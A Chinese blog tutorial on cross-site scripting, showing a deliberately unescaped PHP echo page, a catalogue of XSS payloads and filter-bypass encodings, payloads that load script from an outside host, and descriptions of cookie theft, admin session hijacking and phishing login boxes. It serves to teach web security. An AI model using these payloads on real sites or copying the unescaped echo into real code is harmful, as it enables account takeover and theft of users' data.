美文网首页
18.浅谈前端WEB安全性(一)

18.浅谈前端WEB安全性(一)

作者: zwj2024 | 来源:发表于2017-11-21 22:17 被阅读364次

(一)浅谈前端WEB安全性
1.XSS攻击:跨站脚步攻击原理
2.XSS利用输出的环境来构造代码(XSS的构造技巧)
3.XSS与字符编码的那些事儿
4.XSS的利用或者危害

1.XSS攻击:跨站脚步攻击原理

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <title>XSS原理重现</title>
   </head>
<body>
   <form action="" method="get">
    <input type="text" name="xss_input">
    <input type="submit">
   </form>
    <hr>
    <?php
    $xss = $_GET['xss_input'];
    echo '你输入的字符为<br>'.$xss;
    ?>
</body>
</html>

我们输入<script>alert('xss')</script>,提交表单得到的页面成功弹窗,这个时候基本上就可以确定存在xss漏洞。

2.XSS利用输出的环境来构造代码(XSS的构造技巧)

XSS常用注入语句
注入方式有<script>标签/图片标签/iframe标签/head头中其他标签
<script> 标签

<script>alert('xss');<script>
<script src="http://xss.ha.ckers.org/a.js"></script>
"><script>alert('xss')</script>
绕过过滤:换行字符的url编码-->%0a
<s&#99;ript>alert('XSS')</script>//字符c的实体编码-->&#99;
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e//<字符和>的url编码-->%3c和%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

<img> 标签

<img src=javascript:alert('xss')>   //E7.0|IE6.0,才能执行
<img src="javas&#99;ript:alert('xss')">
<img src="jav&#x09;ascript:alert('XSS');">空格字符的实体编码-->&#x09;
<img src="jav&#x0A;ascript:alert('XSS');">换行字符的实体编码-->&#x09;
<img src=="jav&#x0D;ascript:alert('XSS');">空字符的实体编码-->&#x09;
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来。
<img src="url" style='Xss:expression(alert('xss'));'>  //E7.0|IE6.0,才能执行

A.构造代码的输出点可以是:
1.在<br>和</boby>里的不同标签之间;2.其他标签里面;3.在html标签的属性里。

B.构造代码技巧

1.闭合属性和闭合标签:这是很常见的方式,通过关闭前一个标签达到植入XSS脚本的目的:"><script>alert("Hi");</script>。

//1.input标签的属性里面
echo '<input type="text" value="'.$xss.'">';
====》
<input type="text" value=""><script>alert('xss')</script>">
====》
<input type="text" value="" onclick="alert'xss')">

//2.如果在<textarea>标签里呢?!或者其他优先级比script高的呢?
textarea里的内容在浏览器里会自动编码成实体字符:
<textarea>&lt;script&gt;alert(1)&lt;/script&gt;</textarea>
====》需要先跳出textarea标签
<textarea></textarea><script>alert('xss')</script>//</textarea>

2.绕过字符长度:如果我们输入的XSS脚本超过了产生XSS的地方的长度限制,就会被截断,还怎么做到攻击呢?

<input type="text" value="$var">这段代码存在XSS
====》$var长度限制是20
====》我们插入"><script>alert(/xss/)</script>
====》被切达不到攻击的目的
====》一种换成事件的方式如:" onclick=alert(1)长度刚好20
====》另一种可以绕过服务端对输入长度的限制
通过eval(location.hash.substr(1))等其它方式

3.假如说网站禁止、过滤了script 这时该怎么办呢?
记住一句话,“xss就是在页面执行你想要的js”,不用管那么多,只要能运行我们的js就OK。

实例:

<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')
<a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的src来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>计算alert字符串来执行弹窗

等等有很多的方法,不要把思想总局限于一种上面,“xss就是在页面执行你想要的js”其他的管他去。
4.利用字符编码,绕过编码过滤

3.XSS与字符编码的那些事儿

参考
a.xss中最经常用到的编码

1.html实体编码(10进制与16进制):
如尖括号编码<  -----> html十进制: &#60;  html十六进制:&#x3c;

2.javascript的八进制跟十六进制:
如尖括号编码<  -----> js八进制:\74  js十六进制:\x3c

3.javascript的unicode编码:
如尖括号编码<  ----->unicode:\u003c

4.url编码:
如尖括号编码< -----> url: %3C

5. base64编码
如尖括号编码< -----> base64: PA==

b.html实体编码实例
比如现在xss的输出点在这:<img src="[代码]">,并且过滤了script < > / \ http: 以及各种危险字符。

比如我现在弹个窗:

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

原code:

<img src="x" onerror="alert(1)">

这里我用的是html十进制编码 也可以使用十六进制的html实体编码!但是为什么这里我没有用jsunicode 以及 js八进制跟js十六进制呢!因为浏览器是不会在html标签里解析js的那些编码的!所以我们在onerror=后面放js中的编码是不会解析!

c.新增的实体编码

  1. 不认识 HTML5 新增的实体命名编码,如
&colon; => [冒号]
&NewLine; => [换行]
case::<a href="javasc&NewLine;ript&colon;alert(1)">click</a>
解析为:<a href="javascript:alert(1)">click</a> 

d.url编码
大多数网站是不会过滤&#号的,如果过滤了怎么办呢?
网站过滤了&#符号号,输出点:a标签输入的值会存在于a标签的href属性中,href中用了javascript伪协议,可以在href跳转时执行js代码!

javascript 伪协议:这个协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
javascript URL没有返回值的javascript语句,只执行动作。例如:javascript:alert("hello world!")

<a href="javascript:location='./3.3.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg='wooyun%26%23x27,alert(1)%2b%26%23x27">GO</a>

这个时候&#已经被过滤 我们只能通过url编码来对 & # 两个符号进行编码!再让浏览器解码成 &# 然后拼接x27 最后就成为了单引号的html16进制编码!
提交值:wooyun%26%23x27,alert(1)%2b%26%23x27
解码后:我们的提交值为:',alert(1)'

e. javascript编码:unicode,8进制,16进制
eval() setTimeout() setInterval()都是会将字符串当做js代码执行的函数!相当于js解码执行。
document.getElementById().innerHTML=search;在你搜索后,然后显示的,你所查询的关键字。如果过滤了 <> ' " & % 等等这些!然后再输出到页面上!按理说这样是安全了!但是我们把输入的值改成 jsunicode 编码。

如: <img src=x onerror=alert(1)> 然后进行js八进制编码 ,然后服务器端接受后经过过滤器,没有发现该过滤的就进入到了innerHTML中。经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!

为什么这里不用16进制 跟unicode编码!是因为 八进制的相对而言最短!在xss中字符数的长短 也是一个很重要的问题!越短越好!

f.base64编码
<a href="可控点">、<iframe src="可控点">,在这种情况下,如果过滤了<> ' " javascript 的话 那么要xss可以这样写 然后利用base64编码!

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
解码后:<img src=x onerror=alert(1)>

4.XSS的利用或者危害

可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。
这时我们要插入js代码了,怎么插呢?

你可以这样:<script scr="js_url"></script>
也可以这样:<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势,各种插,只要能运行我们的js就OK。
那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信)等等。比如我们在网站的留言区输入<script scr="js_url"></script>当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

1.恶搞用户:攻击者输入骚扰类型的脚本,比如alert,弹窗等等,并不会对用户数据造成严重损失。
2.Cookie窃取:攻击者通过document.cookie获取到用户的cookie,发送到自己的服务器,攻击者就可以伪造用户的身份。
3.构造Get与Post请求:除了输入验证码,输入旧密码等需要用户亲自发起的请求之外,攻击都可以在网站伪装成用户构造人意get和post请求来达到攻击者的目的。比如自动送礼,删除文章,修改用户数据等恶性行为,等等。
4.XSS钓鱼:攻击者可以利用Javascript在当前页面弹出一个伪造的登录框,待用户输入用户名密码之后将用户的密码发送至攻击者的服务器上。
5.获取客户端信息:例如用户的浏览历史、真实IP、开放端口等。
6.强制弹出广告页面、刷流量等。

相关文章

  • 18.浅谈前端WEB安全性(一)

    (一)浅谈前端WEB安全性1.XSS攻击:跨站脚步攻击原理2.XSS利用输出的环境来构造代码(XSS的构造技巧)3...

  • 21.浅谈前端WEB安全性(二)

    (二)浅谈前端WEB安全性5.XSS防御6.XSS分类及挖掘方法 5.XSS防御 一.概述 攻击者可以利用XSS漏...

  • 浅谈WEB前端安全性(转载)

    本文转载自博客园 https://www.cnblogs.com/vajoy/p/4176908.html 相信进...

  • 使用这些 HTTP 头保护 Web 应用

    摘要: 安全是个大学问。 原文:Web 应用安全性: 使用这些 HTTP 头保护 Web 应用 作者:前端小智 F...

  • gulp的使用

    浅谈web前端自动化工具--gulp 字数1212阅读17评论0喜欢0 背景: 在前端的开发中上线之前可能会做的事...

  • 浅谈前端(WEB)排版

    我相信很多和我一样的初学者在练习排版的时候都会遇到很多相似的问题: 1:排版没有思路,不知道用什么标签。 ...

  • 数据安全(反爬虫)之「防重放」策略

    在大前端时代的安全性一文中讲了 Web 前端和 Native 客户端如何从数据安全层面做反爬虫策略,本文接着之前的...

  • 打包后隐藏source

    资源放在web前端是没有安全性可言的,一是混淆逻辑外,最好也能够隐藏source在webpack.prod.con...

  • Web前端

    Web前端 web前端是什么- 定义 职责 web前端基础知识和学习路线 web前端学习的资源 1.Web前端是...

  • 无标题文章

    #Web前端 - web前端是什么 - 定义 - 职责 - web前端基础知识和学习路线 - web前端学习的...

网友评论

      本文标题:18.浅谈前端WEB安全性(一)

      本文链接:https://www.haomeiwen.com/subject/xhoamxtx.html